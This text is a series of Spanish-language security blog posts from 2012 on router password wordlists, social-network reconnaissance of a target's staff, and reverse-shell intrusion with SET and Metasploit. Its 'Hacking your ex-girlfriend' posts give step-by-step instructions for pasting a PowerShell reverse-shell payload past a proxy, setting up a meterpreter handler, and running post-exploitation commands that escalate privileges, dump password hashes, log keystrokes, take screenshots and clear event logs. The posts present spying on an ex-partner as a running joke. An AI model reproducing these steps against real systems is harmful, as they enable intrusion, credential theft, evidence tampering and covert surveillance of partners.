Vamos a elegir para probar la creación de una wordlist sobre un algoritmo de generación de passwords de fabricantes de routers.

Probando a crear una wordlist para dispositivos Thompson.


Si os fijáis, nos propone mas de medio TB de información.


En esta última imagen podéis ver que, usando la opción 1, la más sencilla, sobre mutaciones de una palabra, como la que he utilizado, nos genera 17281 palabras... si le pasamos una lista de 10 palabras...o 100... OJO con las mutaciones que elegimos.
La herramienta es muy sencilla y sin duda útil. No creo necesario profundizar mucho más sobre ella, y como siempre, mi misión es dar a conocer un poco el asunto y ya que cada uno se pelee.
Gracias por leerme.

sábado, 6 de octubre de 2012

NameCHK Intelligence Gathering

Como hemos hablado en anteriores ocasiones, la fase de recolección de información de inteligencia es muy útil para focalizar nuestros objetivos indirectos a la hora de realizar un pen test en profundidad.
En la guía de pruebas OSSTM lo ubican antes de la fase de Information Gathering. Cual es la diferencia?.
Veamos un supuesto caso de un cliente PenTest, que tecnologicamente tiene todo más o menos bien. Recolectar información de inteligencia no se limita a localizar sedes,por ejemplo, sino que conociendo el nombre o nick de algún responsable de alguna area, podemos investigar sus movimientos en Internet, en busca de fallos. Por ejemplo, el director financiero, de nombre "finanzasmen" es una persona joven, soltera, y apasionado de la música...Folk ( ?¿·"!$?¿·"!?). Sería interesante conocer en que redes sociales navega habitualmente, por varios motivos, uno para conocer sus hábitos, y en caso de poder comprometer alguna de sus conexiones, falsear registros DNS para redirigirlo a nuestras máquinas de matar... Pero y si descubrimos la clave de una red social, que casualmente es la misma que el correo corporativo? en el cual podemos buscar la clave que el sysadmin le mando para conectarse por vpn desde su casita en la playa? ... y así la rueda no para de girar. Para eso tenemos una herramienta web muy util, namechk  que comprueba en más de 100 redes sociales si existe el nick. Es un pequeño gran paso para seguir con la fase de recogida de información.


Siguiendo la temática de anteriores post, NO LO USEIS PARA VUESTRAS EX-NOVIAS xD.
Gracias por leerme.

viernes, 5 de octubre de 2012

Hacking your ex-girlfriend. Parte III

La parte I de esta seria fué muy divertida. En la parte II le dimos un poco mas de profundiad.
En la parte III vamos probar un nuevo vector.
Imaginaros un escenario, en el que existe un proxy con unas pocas páginas autorizadas, en la que no podemos acceder a descargarnos nuestro backdoor desde Gmail, Hotmail y que nos bloquean la descarga de ficheros. Imaginaros también que no hay posibilidad de insertar un pendrive en el pc víctima.

Siguiendo la "moda" de SET, lo ejecutamos como siempre y elegimos la opcion 1.
Luego elegimos la opción 10, PowerShell Attack vector. Elegimos la primera de las opciones, elegimos la arquitectura del windows 7...2008? tal vez??? y ponemos el Listener a escuchar por nuestro puerto favorito. Siempre usamos el 443 en estos artículos, por qué? porque si el sysadmin tiene capados los puertos hacia fuera de las estaciones, imagino que dejará abierto el 443 para que los usuarios puedan al menos...conectarse a una web "segura".


Una vez tenemos el listener escuchando, nos vamos a la instalación de set, en Backtrack ubicada en /pentest/exploit/set/reports/powershell/   y abrimos el fichero generado. copiamos y pegamos.


Para probar esto, lo pegamos directamente en una consola windows de la máquina víctima.


Y con esto, ya hemos ejecutado una consola inversa hacia nuestra máquina atacante con una bonita sesión de meterpreter dispuesta a todo !!!.
Entonces, colgar este texto, en un pastebin, en una web en la que podamos acceder desde la ubicación de la víctima, incluso usando las funciones de cache de google, por si está también la web prohibida... cada uno que se las apañe, pero con un copiar y pegar, tenemos cocinaaaaaaaaaaa.

Como siempre recomendar la implantación de medidas de seguridad correctas para nuestras organizaciones. Las de siempre, pero para este caso concreto, por qué dejar a los usuarios del dominio ejecutar Powershell? no sería mejor usar una Group Policy para quitarles las ganas de usar Power Shell en sus ratos libres: http://technet.microsoft.com/en-us/library/ee176961.aspx

Gracias por leerme.


martes, 2 de octubre de 2012

Meterpreter.exploit your ex-girlfriend Parte II

Después del éxito-no de mi anterior post sobre Creating .exe backdoor and exploit your ex-girl-friend, seguimos con la segunda parte...

Vamos a realizar el mismo ataque, con unas mejoras, y lo que es mejor, en modo asistente !!:
Pulse 1 si desea ver sufrir a su ex-novia. Pulse 2 si desea hackear el Facebook de su ex-novia... xD

Para realizar el ataque, vamos a usar Set web, por qué? porque es mas bonito hacerlo graficamente, aunque después de trabajar el entorno gráfico de Set, tengo que decir que hay menús que no andan bien, seré yo xD.
Para ejecutar el entorno web basta con situarnos en la carpeta ( soy windosero !!!) pentest/exploit/set de nuestra maquina de matar Backtrack. vemos el script de set-web, pero carece de permisos de ejecución, por lo que le tiramos un CHMOD 775 al fichero set-web, y lo ejecutamos.
El aspecto es el siguiente:


Un ejemplo de las funciones disponibles.

Saltamos otra vez al primer post para retomarlo donde lo dejamos, en una consola Meterpreter. En el ejemplo anterior iniciamos una shell Windows, pero todos sabemos que esto no es suficiente.


Las categorías de los comandos son:
1. Core Commands
2. STDapi : File Commands
3. STDapi : Networking Commands
4. STDapi : File- System Commands
5. STDapi : User Interface Commands
6. STDapi : Web Cam Commands
7. Priv : Elevate Commands
8. Priv : Password database Commands
9. Priv : Time Stomp commands
 Fuente:http://dl.packetstormsecurity.net/papers/attack/post-exploitation.pdf

Command       Description

07-------       -----------
08?             Help menu
09background    Backgrounds the current session
10channel       Displays information about active channels
11close         Closes a channel
12exit          Terminate the meterpreter session
13help          Help menu
14interact      Interacts with a channel
15irb           Drop into irb scripting mode
16migrate       Migrate the server to another process
17quit          Terminate the meterpreter session
18read          Reads data from a channel
19run           Executes a meterpreter script
20use           Load a one or more meterpreter extensions
21write         Writes data to a channel
22  
23Stdapi: File system Commands
24============================
25  
26Command       Description
27-------       -----------
28cat           Read the contents of a file to the screen
29cd            Change directory
30del           Delete the specified file
31download      Download a file or directory
32edit          Edit a file
33getlwd        Print local working directory
34getwd         Print working directory
35lcd           Change local working directory
36lpwd          Print local working directory
37ls            List files
38mkdir         Make directory
39pwd           Print working directory
40rm            Delete the specified file
41rmdir         Remove directory
42upload        Upload a file or directory
43  
44Stdapi: Networking Commands
45===========================
46  
47Command       Description
48-------       -----------
49ipconfig      Display interfaces
50portfwd       Forward a local port to a remote service
51route         View and modify the routing table
52  
53Stdapi: System Commands
54=======================
55  
56Command       Description
57-------       -----------
58clearev       Clear the event log
59execute       Execute a command
60getpid        Get the current process identifier
61getuid        Get the user that the server is running as
62kill          Terminate a process
63ps            List running processes
64reboot        Reboots the remote computer
65reg           Modify and interact with the remote registry
66rev2self      Calls RevertToSelf() on the remote machine
67shell         Drop into a system command shell
68shutdown      Shuts down the remote computer
69sysinfo       Gets information about the remote system, such as OS
70  
71Stdapi: User interface Commands
72===============================
73  
74Command        Description
75-------        -----------
76enumdesktops   List all accessible desktops and window stations
77idletime       Returns the number of seconds the remote user has been idle
78keyscan_dump   Dump they keystroke buffer
79keyscan_start  Start capturing keystrokes
80keyscan_stop   Stop capturing keystrokes
81setdesktop     Move to a different workstation and desktop
82uictl          Control some of the user interface components
Vamos a comentar algunos scripts para usar en la post-explotación del sistema comprometido.
Por ejemplo, que pasa si tenemos nuestro backdoor creado, tenemos el listener de Metasploit escuchando, esperando que nuestra víctima lo ejecute, pero qué pasa si se apaga el ordenador xD, el nuestro...

msfconsole- use exploit/multi/handler.
set PAYLOADS windows/meterpreter/reverse_tcp
Metemos ip local, e importante, definimos el puerto con set que quedará a la escucha. si dejamos el que metasploit nos ofrece por defecto,44444 no recibirá nada, ya que creo recordar que pusimos 443. y luego ejecutamos exploit.
 
Vamos a probar cosas.

Run arp_scanner -i nos muestra las interfaces de red en el equipo comprometido. Algo muy interesante ya que generalmente cuando realizamos una prueba de intrusión queremos llegar al máximo número de sistemas, y saber la estructura de la red interna es algo básico. Una vez conocemos el rango de Ip´s internos, ejecutamos un Run arp_scanner -r  RANGO DE RED y con esto tenemos los host de la red, al menos los de la tabla ARP del host.



Run Checkvm nos revela información si es una máquina física o virtual. **esta máquina es virtual, pero es un windows xp que ha sufrido cierto hardening respecto a ocultar sus características virtuales, como es quitar guest tools, cambiar mac y sobre todo, cambiar el id vendor, serial y demás de la BIOS virtual**



Run Getsystem para realizar una escalada de privilegios brutal, nada mas y menos que system...


Run Getcountermeasures para listar las protecciones instaladas en el sistema, en caso de ser Windows.

Run Prefetchtool para ver la lista de las últimas aplicaciones usadas.

Run get_env para listar las variables globales del sistema y el usuario.

Run clearev para borrar los eventos del visor de sucesos...en máquinas windows claro.

Run screenshot para tener una captura de pantalla de equipo víctima.

Run VNC para montar un servidor VNC en la víctima y automáticamente conectarnos.Por cierto, la "víctima" estaba leyendo una página web muy muy interesante xD

Run Get_application_list para mostrar una lista de aplicaciones instaladas en el sistema.

Hashdump, para mostrar los hashes de las claves de los usuarios. Os invito a que si alguno tiene paciencia de escribir el hash de los usuarios en google a ver si aparece.

Run keylogrecorder para grabar las pulsaciones del teclado de la víctima.
Por último, POR HOY, persistencia. es decir, que no tengas que difundir el backdoor exe a la víctima cada vez que queramos "hacer cosas", aunque sobre este punto, al igual que las técnicas de evasión de ids/av que otro día terminaré, ahora es que tengo hambre xD.



Espero que os haya gustado esta aproximacion al mundo Meterpreter, no me mal interpretes xD Espero que pruebes tus cositas, que preguntes lo que no te quede claro, y que estés pendiente de las nuevas entradas xD.
gracias.